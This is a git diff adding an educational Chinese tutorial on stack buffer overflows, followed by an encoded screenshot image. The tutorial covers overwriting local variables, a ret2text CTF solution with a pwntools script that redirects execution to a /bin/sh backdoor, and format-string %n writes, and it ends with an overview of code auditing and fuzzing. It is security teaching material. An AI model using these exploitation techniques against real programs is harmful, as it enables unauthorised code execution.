栈介绍 +栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 +![](./static/stack.png) + +高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。 +#### 栈溢出基本原理 +以最基本的C语言为例,C语言的函数局部变量就保存在栈中。 +```C +#include +int main() +{ + char ch[8]={0}; + char ch2[8]={0}; + printf("ch: %p, ch2: %p",ch,ch2); +} +``` +对于如上程序,运行后可以发现`ch`和`a`的地址相差不大(`a`和`ch`的顺序不一定固定为`a`在前`ch`在后): +![](./static/out1.PNG) + +可以发现`ch`和`ch2`刚好差`8`个字节,也就是`ch`的长度。 +`ch`只有`8`个字节,那么如果我们向`ch`中写入超过`8`个字节的数据呢?很显然,会从`ch`处发生溢出,写入到`ch2`的空间中,覆盖`ch2`的内容。 +```C +#include +int main() +{ + char ch[8]={0}; + char ch2[8]={0}; + scanf("%s",ch); + printf("ch: %s, ch2: %s",ch,ch2); +} +``` +![](./static/out2.PNG) + +这就是栈溢出的基本原理。 + +#### 栈溢出的基本利用 +##### 0x0 +对于以上程序,“栈溢出”带来的后果仅仅是修改了局部变量的值,会造成一些程序的逻辑错误: +```C +#include +int main() +{ + char input[20]; + char password[]="vidar-team"; + scanf("%s",input); + if(!strcmp(password,input)) + { + printf("login success!"); + } + else + { + printf("password is wrong!"); + } + return 0; +} +``` +如上代码所示,如果我们想办法通过向input中输入过长的字符串覆盖掉password的内容,我们就可以实现任意password“登录”。 +那么能不能有一些更劲爆的手段呢? +> 以下内容涉及x86汇编语言知识 +在C语言编译之后,通常会产生汇编语言,汇编语言的字节码可以直接在物理CPU上运行。而C语言函数调用会被编译为如下形式: +```C +#include +int add(int a,int b) +{ + return a+b; +} +int main() +{ + int a,b; + scanf("%d %d",&a,&b); + printf("%d",add(a,b)); + return 0; +} +``` +```assembly +add: +endbr64 +push rbp +mov rbp, rsp +mov [rbp+var_4], edi +mov [rbp+var_8], esi +mov edx, [rbp+var_4] +mov eax, [rbp+var_8] +add eax, edx +pop rbp +retn + +main: +endbr64 +push rbp +mov rbp, rsp +sub rsp, 10h +mov rax, fs:28h +mov [rbp+var_8], rax +xor eax, eax +lea rdx, [rbp+var_C] +lea rax, [rbp+var_10] +mov rsi, rax +lea rax, format ; "%d %d" +mov rdi, rax ; format +mov eax, 0 +call _scanf +mov edx, [rbp+var_C] +mov eax, [rbp+var_10] +mov esi, edx +mov edi, eax +call add +mov esi, eax +lea rax, aD ; "%d" +mov rdi, rax ; format +mov eax, 0 +call _printf +mov eax, 0 +leave +retn +``` +可以看到其中使用`call`指令来调用`add`函数。那么该指令是如何工作的呢?其实`call`指令相当于`push next_loc;jmp loc`,通过将`call`指令下一行汇编的地址压栈的方式,等到函数调用完再取回,从而从`call`指令的下一行继续执行。由于栈地址从高向低生长,新调用的函数的局部变量生成在返回地址的上方(低地址处),因此如果我们在新函数中使用栈溢出来修改这一返回地址,如果将返回地址修改为某个函数的地址,就可以执行任意函数: +![](./static/stack2.png) +> 注意该图中,使用32位的寄存器(EBP、ESP、EIP),实际原理一样的,并且上方为高地址,下方为低地址 + +在此给出一道题作为例子:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text + +32位的程序,我们使用IDA来打开该题目,查看反编译代码,可以发现有非常明显的栈溢出: +![](./static/main.png) + +由于第`8`行`gets`函数并没有检查输入的长度和`s`的长度,我们可以轻易地通过栈溢出来控制`main`函数的返回地址。而在程序中,存在另外一个函数`secure`,在该函数中有一个后门`system("/bin/sh")`,如果我们想办法执行该后门,就可以拿到目标机器的`shell`,从而控制目标计算机。 +由于我们需要将返回地址在标准输入中输入待测程序,而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中,所以此处我们使用`pwntools`这一`python`包来方便地进行攻击。 +首先查看后门的地址: +![](./static/backdoor.png) + +接着计算溢出长度,这里我们使用gdb来调试程序,图中的gdb安装了pwndbg插件,该插件在pwn调试时比较好用: + +![](./static/gdb.png) + +将断点打在`gets`函数前后,可以看到此时`esp`值为`0xffffcd80`,`ebp`值为`0xffffce08`,在 IDA 中我们又可以看到`s`相对于`esp`的偏移为`+1C`,此时我们即可计算`hex(0xffffcd80+0x1c-0xffffce08)=-0x6C`,即`s`相对于`ebp`的偏移为`0x6C`,由于在`main`函数的开头有`push ebp`的操作,所以将`0x6C`再加`4`,即可到达返回地址处: +```python +from pwn import * +sh=process("./pwn") +exp=b'a'*(0x6c+4) +exp+=p32(0x0804863A) # 4字节的返回地址 +sh.sendline(exp) +sh.interactive() # 切换为手动交互模式 +``` +![](./static/shell.png) +##### 0x1 +通过上面的学习,我们已经可以知道执行任意函数的办法,但很多情况下,对于攻击者来说,程序中并没有可用的后门函数来达到攻击的目的,因此我们需要一种手段,来让程序执行任意代码(任意汇编代码),这样就可以最高效地进行攻击。ROP(Return Oriented Programming)面向返回编程就是这样的一种技术,在栈溢出的基础上,通过在程序中寻找以retn结尾的小片段(gadgets),来改变某些寄存器、栈变量等的值,再结合Linux下的系统调用,我们就可以执行需要的任意代码。 +ROP网上已有非常系统的资料,在这里不做过多的叙述,可参考ctf-wiki: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode +### 格式化字符串 +格式化字符串的利用思路来源于`printf`函数中的`%n`format标签,该标签的作用和`%s`、`%d`等不同,是将已打印的字符串的长度返回到该标签对应的变量中。在正常情况下的使用不会出现什么问题: +```C +printf("abcd%n",&num); +//输出abcd,并且num的值为4 +``` +但如果在编写代码时忘记format字符串: +``` +printf(something_want_print); +``` +此时若攻击者可以自定义该字符串,就可以使用`%d`、`%p`、`%s`等打印栈上数据,或者`%n`来覆写栈上的数据,如果覆写了返回地址,就可以实现任意代码执行。 +```C +char ch[20]; +scanf("%s",ch);// 输入 %d%n%n%n%n%n +printf(ch); +``` +## 漏洞挖掘技术 +### 代码审计 +代码审计分人工代码审计和自动化代码审计,人工审计由安全研究人员查看代码来发现漏洞,需要安全研究人员很高的研究经验,投入大量的人力。自动化代码审计目前的发展进度迅速,如由 Vidar-Team 毕业学长 LoRexxar 主导的开源项目Kunlun-M:https://github.com/LoRexxar/Kunlun-M +以及字节跳动公司开源的appshark:https://github.com/bytedance/appshark +### fuzz +fuzz是一种自动化测试手段,通过一定的算法生成一定规律的随机的数据输入到程序中,如果程序发生崩溃等异常,即可知道此处可能有漏洞。比较著名的有[AFL](https://github.com/google/AFL)、[AFLplusplus](https://github.com/AFLplusplus/AFLplusplus)、[libfuzzer](https://llvm.org/docs/LibFuzzer.html)、[honggfuzz](https://github.com/google/honggfuzz)等。 diff --git a/6.计算机安全/static/backdoor.png b/6.计算机安全/static/backdoor.png new file mode 100644 index 0000000000000000000000000000000000000000..5ef4558c99f5ffc6d6a948e5f8768256ffaa0e52 GIT binary patch literal 25693 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 